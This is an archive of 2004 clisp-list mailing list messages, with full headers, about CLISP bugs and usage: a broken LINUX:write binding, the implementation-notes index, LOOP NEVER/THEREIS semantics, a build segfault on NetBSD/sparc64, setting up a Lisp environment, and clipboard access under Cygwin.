alphatech.com (8.12.10/8.12.10) with ESMTP id i9MJg90A012498; Fri, 22 Oct 2004 15:42:09 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Joerg-Cyril.Hoehle@t-systems.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16761.24589.638193.533958@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 22 Oct 2004 21:31:25 +0200") References: <20041022082201.0AA9F3AB68@thalassa.informatimago.com> <16761.24589.638193.533958@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Joerg-Cyril.Hoehle@t-systems.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: linux:write bogus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 12:43:04 2004 X-Original-Date: Fri, 22 Oct 2004 15:42:09 -0400 > * Pascal J.Bourguignon [2004-10-22 21:31:25 +0200]: > > Sam Steingold writes: >> > * Pascal J.Bourguignon [2004-10-22 10:22:01 +0200]: >> > >> > *** - The macro LINUX:write may not be called with 2 arguments: (LINUX:write (AREF FDS 1) FSTR) >> >> LINUX:write wants 3 arguments. > > > Sorry, I did not cut-and-paste the right test. Since it first > complained for too many arguments, I tried with one less assuming it > computed the size automatically, but the problem was not that. > > Here is the right test: > > CL-USER> (multiple-value-bind (res fds) (linux:|pipe|) > (ffi:with-foreign-string (fstr flen fsiz "Hello") > (print `(wrote ,(linux:|write| (aref fds 1) fstr fsiz))))) Indeed, write-helper and read-helper are "broken", i.e. 1. their arg lists were switched (just fixed that) 2. read-helper should be able to use a user-supplied buffer - this should be fixable with the recent Joerg's patches, so I will leave this to him. -- Sam Steingold (http://www.podval.org/~sds) running w2k I haven't lost my mind -- it's backed up on tape somewhere. From pascal@informatimago.com Fri Oct 22 12:45:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL5Ld-00005o-6T for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:45:13 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CL5Lb-00075S-EW for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 12:45:13 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 55A78586E2; Fri, 22 Oct 2004 21:45:09 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4DB3A50EA8; Fri, 22 Oct 2004 21:44:43 +0200 (CEST) Message-ID: <16761.25387.273433.48056@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20041022065144.8EC163AB68@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_GREATERTHAN BODY: Text interparsed with > 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_LESSTHAN BODY: Text interparsed with < Subject: [clisp-list] Re: lacking index of implnotes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 12:46:02 2004 X-Original-Date: Fri, 22 Oct 2004 21:44:43 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-10-22 08:51:44 +0200]: > > > > http://clisp.cons.org/impnotes/idx.html > > > > Only very little terms and implementation specific functions are > > indexed. For example, EXT:MAKE-BUFFERED-INPUT-STREAM is not present. > > fixing this requires going through the XML sources and wrapping every > instance of FOO which is to be mentioned in the index with > FOO > FOO > > (note that "foo" should be the ID of the unit where FOO first appears) > See the appended diff for an example. > > any volunteers? I guess I could write some lisp to do it automatically. (I've got a parse-html that should be supple enought to parse XML I guess). But I won't have time to do it right now... -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From sds@gnu.org Fri Oct 22 13:00:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CL5aV-00013n-W7 for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 13:00:35 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CL5aV-0001pt-9Y for clisp-list@lists.sourceforge.net; Fri, 22 Oct 2004 13:00:35 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i9MK0O0A017585; Fri, 22 Oct 2004 16:00:25 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16761.25387.273433.48056@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Fri, 22 Oct 2004 21:44:43 +0200") References: <20041022065144.8EC163AB68@thalassa.informatimago.com> <16761.25387.273433.48056@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: lacking index of implnotes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 22 13:01:03 2004 X-Original-Date: Fri, 22 Oct 2004 16:00:24 -0400 > * Pascal J.Bourguignon [2004-10-22 21:44:43 +0200]: > > I guess I could write some lisp to do it automatically. (I've got a > parse-html that should be supple enought to parse XML I guess). 1. CLOCC/CLLIB/xml.lisp can parse impnotes.xml just fine (actually, CLISP impnotes were the main test case there). 2. you cannot do it automatically because you have ot decide which objects to link. -- Sam Steingold (http://www.podval.org/~sds) running w2k War doesn't determine who's right, just who's left. From pascal@informatimago.com Sat Oct 23 12:01:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CLR8l-0007lu-I8 for clisp-list@lists.sourceforge.net; Sat, 23 Oct 2004 12:01:23 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CLR8k-0000so-0V for clisp-list@lists.sourceforge.net; Sat, 23 Oct 2004 12:01:23 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5FF39586ED; Sat, 23 Oct 2004 21:01:16 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id CBD61636BC; Sat, 23 Oct 2004 21:00:48 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20041023190048.CBD61636BC@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] loop never + thereis Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 23 12:02:02 2004 X-Original-Date: Sat, 23 Oct 2004 21:00:48 +0200 (CEST) I find this while trying to compile ThinLisp in clisp 2.33.2: *** - LOOP: ambiguous result of loop (LOOP FOR SUBFORM = (CAR SUBFORM-CONS) WHILE SUBFORM-CONS NEVER (ATOM SUBFORM) THEREIS (EQUAL SUBFORM '(TL:GO TL::NEXT-LOOP)) DO (SETF SUBFORM-CONS (CONS-CDR SUBFORM-CONS)))  Break 1 TLI[7]> Here is what CLHS says about always, never and thereis: always: Otherwise, it provides a default return value of t. never: Unless some other clause contributes a return value, the default value returned is t. thereis: Unless some other clause contributes a return value, the default value returned is nil. So, the result specified by never and thereis seem to be in contradiction, but these clauses are not evaluated in parallel! 6.1.1.6 Order of Execution With the exceptions listed below, clauses are executed in the loop body in the order in which they appear in the source. Execution is repeated until a clause terminates the loop or until a return, go, or throw form is encountered which transfers control to a point outside of the loop. Obviously, one of the never or thereis clause will determinte it's time to return before the other, and then the "unless someother clause contributes a return value" condition will activate in the other clause and it won't provide a default value. IMO, there's absolutely no ambiguity in there. (loop never condition-1 thereis condition-2 while condition-3 do body finally something) should mean: (loop :loop with default-return-value do (if condition-1 (return-from :loop nil) (setf default-return-value t)) (if condition-2 (setf default-return-value nil) (return-from :loop t)) (if condition-3 (progn body) (loop-finish)) finally something (return default-return-value)) -- __Pascal Bourguignon__ http://www.informatimago.com/ Voting Democrat or Republican is like choosing a cabin in the Titanic. From sae@sdf.lonestar.org Sun Oct 24 23:16:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CLy9i-0007IY-HZ for clisp-list@lists.sourceforge.net; Sun, 24 Oct 2004 23:16:34 -0700 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CLy9h-00049Q-EC for clisp-list@lists.sourceforge.net; Sun, 24 Oct 2004 23:16:34 -0700 Received: from sdf.lonestar.org (IDENT:sae@otaku.freeshell.org [192.94.73.2]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i9P6GRA0025760 for ; Mon, 25 Oct 2004 06:16:27 GMT Received: (from sae@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i9P6GR9A018637; Mon, 25 Oct 2004 06:16:27 GMT From: LiteStar X-X-Sender: sae@otaku.freeshell.org To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Clisp-2.33.2 SigSev on sparc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 24 23:17:01 2004 X-Original-Date: Mon, 25 Oct 2004 06:16:27 +0000 (UTC) Hello, I have an UltraSPARCIIi running NetBSD/sparc64-1.6.2. When building clisp I get the following error: ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" Segmentation fault *** Error code 139 Stop. make: stopped in /home/sae/build/clisp-2.33.2/src ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" Segmentation fault *** Error code 139 Stop. make: stopped in /home/sae/build/clisp-2.33.2/src after it builds everything else fine. Anyone else have similar problems? Cheers! -- sae ------------------------------------------------------- << God is a commedian playing to an audiance too afraid to laugh >> -- Voltair << Are you one who looks on? Or one who lends a hand? Or one who looks away and walks off? Third Question of conscience. >> -- Nietzsche webspace: Super DImensional Fortress - http://sae.freeshell.org Dowling Computer Club - http://alien.dowling.edu/~litestar/ sae@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org Dowling College Computer Club - http://alien.dowling.edu From sds@gnu.org Mon Oct 25 09:26:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CM7g9-0004Gy-1r for clisp-list@lists.sourceforge.net; Mon, 25 Oct 2004 09:26:41 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CM7g8-0007NT-6q for clisp-list@lists.sourceforge.net; Mon, 25 Oct 2004 09:26:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i9PGQPpF005002; Mon, 25 Oct 2004 12:26:27 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20041023190048.CBD61636BC@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sat, 23 Oct 2004 21:00:48 +0200 (CEST)") References: <20041023190048.CBD61636BC@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: loop never + thereis Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 25 09:28:31 2004 X-Original-Date: Mon, 25 Oct 2004 12:26:25 -0400 > * Pascal J.Bourguignon [2004-10-23 21:00:48 +0200= ]: > > *** - LOOP: ambiguous result of loop=20 > (LOOP FOR SUBFORM =3D (CAR SUBFORM-CONS) WHILE SUBFORM-CONS NEVER (ATOM S= UBFORM) > THEREIS (EQUAL SUBFORM '(TL:GO TL::NEXT-LOOP)) DO > (SETF SUBFORM-CONS (CONS-CDR SUBFORM-CONS))) > =C2=A0Break 1 TLI[7]>=20 > > Here is what CLHS says about always, never and thereis: > > always: Otherwise, it provides a default return value of t.=20 > > never: Unless some other clause contributes a return value, the > default value returned is t. > > thereis: Unless some other clause contributes a return value, the > default value returned is nil. > > > So, the result specified by never and thereis seem to be in > contradiction, but these clauses are not evaluated in parallel! suppose neither NEVER nor THEREIS ever trigger. what is to be returned? T or NIL? Or would you require us to analyze all FINALLY statements for presence of non-local returns? specifically, what would you like this to return: (loop :for i :from 1 :to 10 :thereis nil :never nil) LW returns T. CMUCL issues a warning and returns T. I think the CLISP approach is the safest and the cleanest. If you disagree, please raise the issue on c.l.l and see what the other users expect. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k There is an exception to every rule, including this one. From jraddison@gmail.com Mon Oct 25 21:16:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CMIlG-0005Ap-8n for clisp-list@lists.sourceforge.net; Mon, 25 Oct 2004 21:16:42 -0700 Received: from wproxy.gmail.com ([64.233.184.193]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CMIlF-0004x2-LE for clisp-list@lists.sourceforge.net; Mon, 25 Oct 2004 21:16:42 -0700 Received: by wproxy.gmail.com with SMTP id 65so143205wri for ; Mon, 25 Oct 2004 21:16:33 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=k9BQGeJ3JKCyfgaP/UnhWW4XCTmFzyeCDSzYWB0BUQZT37NWrDSCJvZwyZm+irE3tO9p8thhi3hQ+xQG3PZra/eJn1uGws+aQPTf5DPF60vA5ro2tMq6iI9SMZKIa9LeYgJElkLe4F/3+LnecPVpCeo18+0a13OBOqNQwxjr3JM= Received: by 10.38.181.44 with SMTP id d44mr150466rnf; Mon, 25 Oct 2004 21:16:33 -0700 (PDT) Received: by 10.38.13.39 with HTTP; Mon, 25 Oct 2004 21:16:33 -0700 (PDT) Message-ID: <4ae645d304102521168e1c9c1@mail.gmail.com> From: Jason Addison Reply-To: Jason Addison To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Newbie set up Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 25 21:17:01 2004 X-Original-Date: Mon, 25 Oct 2004 18:16:33 -1000 I'm trying to figure out how to set up a local lisp development environment on Linux. I have a system for C/C++/Python world, but when it comes to lisp I'm lost. As I install a lot of stuff locally, I try to mimic the root directory structure with ~/usr/bin, ~/usr/lib, ~/usr/include, ... and set environment variables CPATH, LIBRARY_PATH, PYTHONPATH, ... as needed. Coming from a C/C++/Python background this set up makes me comfortable, and I know how to get around (libs in ~/usr/lib, header files in ~/usr/include, python packages in ~/usr/lib/python2.3/site-packages, emacs packages in ~/usr/shar/emacs/site-lisp, ...). When I get a new tar ball, it goes into ~/usr/srt. I then untar it into ~/usr/src where I build the package and install it. I see that lisp does not really fit into my neat little configure..make..make install world. What are the analogous file structures, routines, ... for lisp? I've built and done a local install of clisp (prefix = ~/usr) and I see that things are in their natural place (bin, libs (how are these use?? what is .mem??), ). So, where is the natural place for new common lisp packages like asdf? Do I need to set environment variables so lisp can find where I put packages/stuff? I tried to mimic the set up on cliki/Getting Started. I faked a clisp init file with "alias clisp='clisp -i ~/.clisp-init.lisp'" which runs ~/etc/lsip/lboot/start.lisp which loads some other stuff. ~/etc is probably not the "right" place for this stuff?! Anyway, I would like any advice anyone has on setting up an environment, typical package directory structure, typical lisp related routines, ...? What are some of the packages that I will want to get? Thanks, Jason From sds@gnu.org Tue Oct 26 10:00:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CMUgg-0005eT-Pv for clisp-list@lists.sourceforge.net; Tue, 26 Oct 2004 10:00:46 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CMUgf-00045O-G7 for clisp-list@lists.sourceforge.net; Tue, 26 Oct 2004 10:00:46 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i9QH0Y3Z019003; Tue, 26 Oct 2004 13:00:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jason Addison Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4ae645d304102521168e1c9c1@mail.gmail.com> (Jason Addison's message of "Mon, 25 Oct 2004 18:16:33 -1000") References: <4ae645d304102521168e1c9c1@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jason Addison Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Newbie set up Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 26 10:01:03 2004 X-Original-Date: Tue, 26 Oct 2004 13:00:33 -0400 > * Jason Addison [2004-10-25 18:16:33 -1000]: > > "alias clisp='clisp -i ~/.clisp-init.lisp'" $ mv ~/.clisp-init.lisp ~/.clisprc.lisp > what is .mem??), > ). -- Sam Steingold (http://www.podval.org/~sds) running w2k Save your burned out bulbs for me, I'm building my own dark room. From elvin_peterson@yahoo.com Sat Oct 30 12:53:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CNzHk-0001If-NL for clisp-list@lists.sourceforge.net; Sat, 30 Oct 2004 12:53:12 -0700 Received: from web52203.mail.yahoo.com ([206.190.39.85]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CNzHh-0003fp-0o for clisp-list@lists.sourceforge.net; Sat, 30 Oct 2004 12:53:12 -0700 Message-ID: <20041030195303.98392.qmail@web52203.mail.yahoo.com> Received: from [61.2.240.14] by web52203.mail.yahoo.com via HTTP; Sat, 30 Oct 2004 12:53:03 PDT From: Elvin Peterson Subject: Re: [clisp-list] clipboard using clisp To: Clisp In-Reply-To: <4129412A.E9993BC3@ieee.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 30 20:11:17 2004 X-Original-Date: Sat, 30 Oct 2004 12:53:03 -0700 (PDT) --- Donna and Dan Stanger wrote: > The gdi package I started may have some support for > it, if not, its pretty > easy to add. > Dan Stanger There is a cygwin specific solution with the /dev/* class of files. I am able to use this from C, so why doesn't it work from clisp, which is written in C? The error I get is: /dev : no such directory There is no directory named /dev, but fopen calls to /dev/clipboard succeeds in cygwin with gcc. Any help is appreciated. TIA. > > Elvin Peterson wrote: > > > Hello, > > Is there any command to access the clipboard > using > > clisp? I am using clisp in cygwin under windows. > > > > TIA. > > > > > > _______________________________ > > Do you Yahoo!? > > Win 1 of 4,000 free domain names from Yahoo! Enter > now. > > http://promotions.yahoo.com/goldrush > > > > > ------------------------------------------------------- > > SF.Net email is sponsored by Shop4tech.com-Lowest > price on Blank Media > > 100pk Sonic DVD-R 4x for only $29 -100pk Sonic > DVD+R for only $33 > > Save 50% off Retail on Ink & Toner - Free Shipping > and Free Gift. > > > http://www.shop4tech.com/z/Inkjet_Cartridges/9_108_r285 > > _______________________________________________ > > clisp-list mailing list > > clisp-list@lists.sourceforge.net > > > 